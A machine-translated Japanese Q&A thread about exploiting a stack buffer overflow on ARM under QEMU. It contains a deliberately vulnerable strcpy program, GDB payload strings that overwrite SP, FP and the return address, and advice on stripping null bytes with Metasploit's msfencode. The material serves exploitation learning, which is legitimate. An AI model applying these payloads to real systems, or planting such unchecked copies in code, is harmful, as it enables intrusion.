web-dev-qa-db-ja.com

ARMでのスタックオーバーフロー:NULLバイトの問題

ARM Exploitation: Link について、Tiger Securityの研究論文をフォローしようとしています。

単純なスタックオーバーフローの悪用の場合、コードは次のとおりです。

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void donuts(){
puts("Donuts...") ;
exit(0) ;
}
void vuln(char *arg) {
char buff[10] ;
strcpy(buff,arg);
}
int main (int argc,char **argv ){
vuln(argv[1]) ;
return 0;
}

しかし、Debianで実行すると、ARM UbuntuのQemuで実行されているマシンです。フレームポインターをいっぱいにするアドレスを配置する必要がある場合を除いて、すべて正常に動作します。スタックポインターと戻りアドレス。

したがって、(私の場合)GDBで実行する最終的な結果コードは次のようになります。

r `printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 4 bytes here]\x38\x84"`

私の場合:望ましい

SP : 0xbe8bac94 
FP: 0x000084ac 
Return Address: 0x00008438

FPの途中にnullバイトが含まれているため、これを悪用する方法はありますか?途中で\ xac\x84を使用できません。

3
Robert Shane

特定のFP?が必要なのはなぜですか?保存されたFPは、vuln()関数によって、対応するレジスタにロードされる必要があります。終了しますが、その関数はどのような方法でもアクセスしません。したがって、任意の値をとることができます。FPのロードバックは、直後に実行されるコードの利益のためです:通常は呼び出し元of vuln()(彼はFPを取り戻したい)ですが、あなたの場合、あなたの悪用コードです。あなたはリターンアドレスをハイジャックするので、それはあなた次第です意味のないFPの値を処理する(これはあなたのコードです:FPのいくつかのゼロフリーのオペコードで)再計算させることができます) 。

編集:この記事 、特にセクション2.4(「レジスターでの既知の値の取得」)は啓発的かもしれません。

6
Thomas Pornin

Nullバイトの問題がある場合は、nullバイトの除去に使用する前にシェルコードをエンコードしてください。メタスプロイトがあり、エンコーダーを使用できると思います。これがどのように機能するかです。

Shell = (" \x77\x... your shellcode")
file = open('shellcode.bin','w')
file.write(Shell)
file.close()

またはあなたも使うことができます

echo -e "shellcode" >> shellcode.bin

次を実行します

/msfencode -b '\x00' -i /pentest/exploits/shellcode.bin -t c

上記の方法がうまくいくことを願っています。幸運を!

3
3ntr0py

あなたの仮定は間違っています。 FPの完全な4バイトアドレスを使用する必要はありません。あなたのCPUはサムモードを理解するので。その結果、エクスプロイトは次のようになります。

printf "AAAABBBBCCCC\x94\xac\x8b\xbe\[FP 2 bytes without \x00\x00 here]\x38\x84"

1
Sama Azari